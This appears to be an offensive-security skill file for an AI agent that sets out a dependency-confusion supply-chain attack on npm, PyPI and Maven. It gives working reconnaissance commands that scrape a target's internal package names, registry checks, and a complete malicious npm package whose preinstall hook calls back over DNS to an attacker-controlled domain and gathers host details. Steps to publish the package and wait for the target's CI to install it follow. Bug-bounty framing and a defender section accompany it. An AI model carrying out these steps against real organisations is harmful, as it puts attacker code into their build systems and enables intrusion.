- name
- dep-confusion
- description
- Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.
- metadata
- {"when_to_use":"dependency confusion npm pypi maven internal package private registry","mitre_attack":"T1195.002","subdomain":"supplychain","upstream_ref":"skills/_corpus/payloads/Dependency Confusion/"}
# Dependency Confusion (Alex Birsan 2021)
When an org uses **internal** private packages (e.g. `@target-internal/utils`)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the **same name at higher version**.
Default resolvers pick highest version → public package runs in CI.
## 1. Reconnaissance — find internal package names
| Source | Pattern |
|---|---|
| `package.json` in public repo | `"@target/foo"` scoped packages |
| `package.json` exfiltrated from web (`/static/`) | dependency lists |
| Webpack bundles | leaked `package.json` strings |
| `requirements.txt` / `Pipfile` exposure | `target-internal-lib` |
| `pom.xml` / `build.gradle` | `<groupId>com.target</groupId>` |
| Github org code search | `@scope` patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |
```bash
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
```
## 2. Verify the package is private
```bash
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate
# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available
# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
```
If the name is taken publicly already, confusion path closed (unless
you can take it over — check abandoned packages w/ no maintainer email).
## 3. Build the malicious package
```bash
mkdir attack-pkg && cd attack-pkg
# package.json
cat > package.json <<'EOF'
{
"name": "@target/internal-utils",
"version": "999.0.0",
"description": "auth-research only",
"scripts": {
"preinstall": "node beacon.js"
}
}
EOF
# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');
// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});
// Also collect basic env w/o exfil (just locally print for testing)
console.log({
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
hostname_dns: dns.getServers(),
});
EOF
```
## 4. Publish
```bash
npm publish --access public
# For org scopes, may need to register the @scope first
```
## 5. Wait + observe
Within hours-days, target's CI will pull `999.0.0`. Burp Collaborator
shows DNS hits.
## 6. Programs that PAY for this
- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo
paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their
"supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier
## 7. PoC framing (for the report)
DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security
DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"
## 8. Severity
| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |
## 9. Defender
- **Block public-registry fallback** for scoped packages: `.npmrc` `@target:registry=https://internal-npm.target.com/`
- Use lockfiles + integrity hashes (`package-lock.json` w/ `integrity` field)
- For PyPI: `pip install --index-url internal-pypi/ --extra-index-url public-pypi/` is BACKWARDS — use `--index-url internal-pypi/ --no-index` and explicitly allowlist public packages
- Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the `@org` scope and publish a public empty placeholder w/ `private` field
## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Dependency Confusion/`
- Alex Birsan's original writeup: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
## Known exemplars
- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
- Multiple H1/BC programs continue to pay $3-30k for confirmed installs
- Repeated incidents in 2022-2024 — pattern not dying
View on GitHub